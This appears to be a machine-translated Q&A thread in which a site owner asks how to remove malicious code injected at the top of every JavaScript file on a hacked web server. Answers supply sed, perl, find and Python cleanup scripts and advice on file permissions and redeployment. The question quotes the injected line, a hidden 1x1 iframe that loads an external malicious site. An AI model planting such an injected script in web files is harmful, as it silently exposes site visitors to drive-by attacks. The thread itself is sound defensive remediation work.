修改服务器上文件内容的最佳脚本

时间:2011-06-07 00:26:52

标签: python perl bash scripting sed

问题:
我有最近被入侵的网络服务器。他们针对javascript文件。他们插入了以下代码段

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

这被添加到服务器上每个.js文件的顶部。

解决方案:
编写一个脚本来打开我服务器上的每个javascript文件,检查恶意代码,删除恶意代码,最后保存文件。

问题:
脚本应该用什么编程语言编写? python会起作用吗?我在我的服务器上运行python 2.4.3。如果我在root下运行python脚本,我不得不担心意外更改已修改文件的所有者权限吗?

由于

4 个答案:

答案 0 :(得分:5)

sed -i '1d;' *.js

简单,并将从每个javascript文件中删除第一行。

你可以在python中做得更多,但你在每个* .js文件中说过第一行,不是吗?

更好的是,你可以考虑perl

python会起作用,但Python的灵魂并不是一个简单的快速单行 对于像这样的东西,快速无痛的单线是你想要的。

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js

如果在命令行运行它,它将匹配以document开头并包含lcbmc(包括\ n - 新行)的任何行,并完全删除该行。请注意,i.bak会创建所有内容的备份文件.bak。你可能会建议保留它,因为它可能会“弄乱”

之后只需运行

rm -v *.js.bak

更新

根据评论我建议在* .js文件的目录中运行perl scripit,或者使用find

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 

将: 1.如果指定正确的路径
2.在找到的({})文件上执行perl one-liner。
逃跑; (\;)用于将命令串在一起,
所以它会执行

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

等...某些版本的查找支持+您可以在以下问题中观察其行为:find \; VS +

注意:您可以使用find查找多个路径。

find /var/www/*.js /home/eric/.apache/*.js

将在/ var / www /文件夹和〜/ .apache文件夹中找到具有* .js文件的文件。

答案 1 :(得分:4)

  

编写脚本应该用什么编程语言?

很重要。

  

python会起作用吗?

  

如果我在root下运行python脚本,我不得不担心意外更改已修改文件的所有者权限吗?

没有。不是“意外”。如果您编写的代码非常糟糕,您可以更改它们。


import os
import shutil
for path, dirs, files in os.walk( "some/root/dir" ):
    for f in files:
        name, ext = os.path.splitext( f )
        if ext == '.js':
            js= os.path.join( path, f )
            bak= js+"#"
            os.rename( js, bak )
            with open(bak,"r") as source:
                with open(js,"w") as target:
                    for line in source:
                        if '<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750"' in line:
                            continue
                        target.write( line )

这样的事情应该(或多或少)起作用。

如果您需要设置权限或所有权,则os模块函数可以根据需要允许设置文件用户,组和权限。

答案 2 :(得分:2)

Bash可能是最简单的。代码可能类似于

bad_code="document\\.write('<iframe src=\"http:\\/\\/lcbmc\\.co\\.uk\\/showthread\\.php?t=31540750\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>')"
find /var/www -name "*.js" -print0 | xargs --null sed -i.bak "/${bad_code}/d"

这将删除包含所提及代码的所有(完整)行。

修改:现在报价已修复。

答案 3 :(得分:1)

我建议您使用与Web服务器或FastCGI执行环境不同的Unix用户帐户存储您的网站内容代码。< / p>

由于您的网络服务器有权这些文件,因此可以像攻击者所希望的那样覆盖它们。如果Web服务器没有对除日志文件和数据库套接字之外的任何内容的写入权限,则它们不会持续损害您的网站,并且它们只会损坏您的数据库或读取其内容。重新启动服务器,他们的黑客就会消失。

(当然,如果他们通过不同的机制攻击您的系统,例如猜测的帐户密码,不同的用户可能没有阻止任何恶作剧。您保留您的{{1}密钥保护良好,对吗?)

我还想建议简单的修改可能是留下故意容易修复,为不容易找到或修复的修改提供掩护,或后门容易再感染。从已知良好的存储重新部署整个站点是一个比尝试修补被攻击的安装更好的解决方案。